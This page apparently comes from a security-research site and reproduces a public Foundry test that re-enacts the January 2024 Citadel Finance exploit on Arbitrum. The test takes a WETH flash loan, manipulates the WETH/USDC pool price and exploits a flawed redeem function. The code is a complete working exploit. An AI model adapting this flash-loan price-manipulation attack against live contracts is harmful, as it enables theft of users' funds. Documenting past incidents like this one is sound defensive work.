Public reproduction file
src/test/2024-01/CitadelFinance_exp.sol
Public reproduction file for dataset entry CitadelFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$93K8// Attacker : https://arbiscan.io/address/0xfcf88e5e1314ca3b6be7eed851568834233f8b499// Attack Contract : https://arbiscan.io/address/0xfcbf411237ac830dc892edec054f15ba7f9ea5a610// Vuln Contract : https://arbiscan.io/address/0x34b666992fcce34669940ab6b017fe11e575079911// One of the attack txs : https://app.blocksec.com/explorer/tx/arbitrum/0xf52a681bc76df1e3a61d9266e3a66c7388ef579d62373feb4fd0991d3600685513// @Analysis14// https://medium.com/neptune-mutual/how-was-citadel-finance-exploited-a5f9acd0b40816interface ICitadelStaking {17 function redeemCalculator(18 address user19 ) external view returns (uint256[2][2] memory);21 function getCITInUSDAllFixedRates(address user, uint256 amount) external view returns (uint256);23 function deposit(address token, uint256 amount, uint8 rate) external;25 function getTotalTokenStakedForUser(address user, uint8 rate, address token) external view returns (uint256);26}28interface ICitadelRedeem {29 function redeem(uint256 underlying, uint256 token, uint256 amount, uint8 rate) external;30}32interface ICamelotRouter {33 function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);35 function swapExactTokensForTokensSupportingFeeOnTransferTokens(36 uint256 amountIn,37 uint256 amountOutMin,38 address[] memory path,39 address to,40 address referrer,41 uint256 deadline42 ) external;43}45contract ContractTest is Test {46 ICitadelStaking private constant CitadelStaking = ICitadelStaking(0x5e93c07a22111b327EE0EaEC64028064448ae848);47 ICitadelRedeem private constant CitadelRedeem = ICitadelRedeem(0x34b666992fcCe34669940ab6B017fE11e5750799);48 Uni_Pair_V3 private constant WETH_USDC = Uni_Pair_V3(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);49 IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);50 IERC20 private constant USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);51 IERC20 private constant CIT = IERC20(0x43cF1856606df2CB22AEdbA1a3e23725f1594E81);52 ICamelotRouter private constant CamelotRouter = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);53 address private constant citadelTreasury = 0x5ed32847e33844155c18944Ae84459404e432620;55 function setUp() public {56 vm.createSelectFork("arbitrum", 174_659_183);57 vm.label(address(CitadelStaking), "CitadelStaking");58 vm.label(address(CitadelRedeem), "CitadelRedeem");59 vm.label(address(WETH_USDC), "WETH_USDC");60 vm.label(address(WETH), "WETH");61 vm.label(address(USDC), "USDC");62 vm.label(address(CIT), "CIT");63 vm.label(address(CamelotRouter), "CamelotRouter");64 }66 function testExploit() public {67 // Before attack68 // Deposit CIT tx: https://app.blocksec.com/explorer/tx/arbitrum/0xcf75802229d440e4fbabb4d357fa1886c25e9a6b5c693e9e9573c71c15e2b0d369 // Exploiter transfer to attack contract following amount of CIT:70 deal(address(CIT), address(this), 2653 * 1e18);71 // Approve CIT tokens to CitadelStaking contract:72 CIT.approve(address(CitadelStaking), CIT.balanceOf(address(this)));73 // Deposit all CIT tokens at fixed rate (1) to CitadelStaking contract:74 CitadelStaking.deposit(address(CIT), CIT.balanceOf(address(this)), 1);75 emit log_named_decimal_uint(76 "Exploiter total staked CIT amount (minus fee) before attack",77 CitadelStaking.getTotalTokenStakedForUser(address(this), 1, address(CIT)),78 CIT.decimals()79 );81 emit log_named_decimal_uint(82 "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), CIT.decimals()83 );85 vm.roll(174_662_726);86 vm.warp(block.timestamp + 15 minutes + 13 seconds);88 emit log_string("--------------------Start attack--------------------");89 // Start attack90 // Take WETH flashloan -> 4_500 WETH91 uint256 wethAmount = 4500 * 1e18;92 bytes memory data = abi.encode(wethAmount);93 WETH_USDC.flash(address(this), wethAmount, 0, data);95 emit log_named_decimal_uint(96 "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), CIT.decimals()97 );98 }100 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {101 uint256 borrowedWETHAmount = abi.decode(data, (uint256));102 WETH.approve(address(CamelotRouter), borrowedWETHAmount);104 // Deposit borrowed WETH to WETH/USDC pair and swap to USDC (CamelotPair). Manipulate pool105 emit log_named_decimal_uint(106 "Flashloaned amount of WETH to swap and manipulate WETH/USDC pair", borrowedWETHAmount, WETH.decimals()107 );108 WETHToUSDC(borrowedWETHAmount);110 uint256 amountIn = WETH.balanceOf(citadelTreasury);111 address[] memory path = new address[](2);112 path[0] = address(WETH);113 path[1] = address(USDC);115 uint256[] memory amounts = CamelotRouter.getAmountsOut(amountIn, path);116 uint256 amountOutUSDC = amounts[1];118 uint256 amountCITAvailable =119 CitadelStaking.redeemCalculator(address(this))[0][1] + CitadelStaking.redeemCalculator(address(this))[1][1];121 emit log_named_decimal_uint("Available amount of CIT to redeem", amountCITAvailable, CIT.decimals());123 uint256 citInUSD = CitadelStaking.getCITInUSDAllFixedRates(address(this), amountCITAvailable);125 emit log_named_uint("Available amount of CIT to redeem in USDC", citInUSD / 10 ** 12);127 uint256 redeemAmount = amountCITAvailable;128 if (amountOutUSDC < citInUSD / 10 ** 12) {129 redeemAmount = redeemAmount / 3;130 }132 // Flawed function. This function makes calculations based on state of WETH/USDC pair133 CitadelRedeem.redeem(1, 0, redeemAmount, 1);135 USDC.approve(address(CamelotRouter), USDC.balanceOf(address(this)));137 // Swap back from USDC to WETH138 USDCToWETH(USDC.balanceOf(address(this)));140 // Repaying flashloan141 WETH.transfer(address(WETH_USDC), borrowedWETHAmount + fee0);143 emit log_string("--------------------End attack--------------------");144 // After couple of above attacks, deposited CIT has been withdrawn in the following tx:145 // https://app.blocksec.com/explorer/tx/arbitrum/0x09105b771ada0c66f48786260929c0967fc822e037904ced6eac61284b6992d9146 }148 function WETHToUSDC(149 uint256 amount150 ) private {151 address[] memory path = new address[](2);152 path[0] = address(WETH);153 path[1] = address(USDC);155 CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(156 amount, 0, path, address(this), address(0), block.timestamp + 1000157 );158 }160 function USDCToWETH(161 uint256 amount162 ) private {163 address[] memory path = new address[](2);164 path[0] = address(USDC);165 path[1] = address(WETH);167 CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(168 amount, 0, path, address(this), address(0), block.timestamp + 1000169 );170 }171}Analysis
Dataset entry
Public Foundry test for “CitadelFinance” (2024-01-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
- src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
- src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
- src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
- src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
- src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
- src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
- src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
- src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
- src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
- src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
- src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
- src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
- src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
- src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
- src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xfcf88e5e1314ca3b6be7eed851568834233f8b49
- Attack Contract
0xfcbf411237ac830dc892edec054f15ba7f9ea5a6
File record
- Name
- CitadelFinance
- Path
- src/test/2024-01/CitadelFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1abbc0c0c2d3e45a8510ac5d84ea2e22843e0b21
- Language
- Solidity
- Size
- 172 lines
- Date
- 2024-01-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-01/CitadelFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1abbc0c0c2d3e45a8510ac5d84ea2e22843e0b21, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.